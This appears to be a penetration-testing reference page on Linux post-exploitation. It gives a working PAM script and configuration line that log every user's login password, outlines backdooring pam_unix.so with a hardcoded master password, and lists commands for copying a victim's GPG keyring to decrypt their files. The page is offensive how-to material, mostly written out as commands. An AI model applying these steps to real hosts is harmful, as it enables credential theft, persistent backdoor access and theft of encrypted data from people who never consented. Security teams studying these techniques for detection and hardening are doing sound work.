Linux Post-Exploitation

Reading time: 5 minutes

Sniffing Logon Passwords with PAM

Let's configure a PAM module to log each password each user uses to login. If you don't know what is PAM check:

PAM - Pluggable Authentication Modules

For further details check the original post. This is just a summary:

Technique Overview: Pluggable Authentication Modules (PAM) offer flexibility in managing authentication on Unix-based systems. They can enhance security by customizing login processes but also pose risks if misused. This summary outlines a technique to capture login credentials using PAM, alongside mitigation strategies.

Capturing Credentials:

• A bash script named toomanysecrets.sh is crafted to log login attempts, capturing the date, username ($PAM_USER), password (via stdin), and remote host IP ($PAM_RHOST) to /var/log/toomanysecrets.log.
• The script is made executable and integrated into the PAM configuration (common-auth) using the pam_exec.so module with options to run quietly and expose the authentication token to the script.
• The approach demonstrates how a compromised Linux host can be exploited to log credentials discreetly.

#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Backdooring PAM

For further details check the original post. This is just a summary:

The Pluggable Authentication Module (PAM) is a system used under Linux for user authentication. It operates on three main concepts: username, password, and service. Configuration files for each service are located in the /etc/pam.d/ directory, where shared libraries handle authentication.

Objective: Modify PAM to allow authentication with a specific password, bypassing the actual user password. This is particularly focused on the pam_unix.so shared library used by the common-auth file, which is included by almost all services for password verification.

Steps for Modifying pam_unix.so:

1. Locate the Authentication Directive in the common-auth file:
   • The line responsible for checking a user's password calls pam_unix.so.
2. Modify Source Code:
   • Add a conditional statement in the pam_unix_auth.c source file that grants access if a predefined password is used, otherwise, it proceeds with the usual authentication process.
3. Recompile and Replace the modified pam_unix.so library in the appropriate directory.
4. Testing:
   • Access is granted across various services (login, ssh, sudo, su, screensaver) with the predefined password, while normal authentication processes remain unaffected.

Decrypting GPG loot via homedir relocation

If you find an encrypted .gpg file and a user’s ~/.gnupg folder (pubring, private-keys, trustdb) but you can’t decrypt due to GnuPG homedir permissions/locks, copy the keyring to a writable location and use it as your GPG home.

Typical errors you’ll see without this: "unsafe ownership on homedir", "failed to create temporary file", or "decryption failed: No secret key" (because GPG can’t read/write the original homedir).

Workflow:

# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg

If the secret key material is present in private-keys-v1.d, GPG will unlock and decrypt without prompting for a passphrase (or it will prompt if the key is protected).

References

• 0xdf – HTB Environment (GPG homedir relocation to decrypt loot)
• GnuPG Manual – Home directory and GNUPGHOME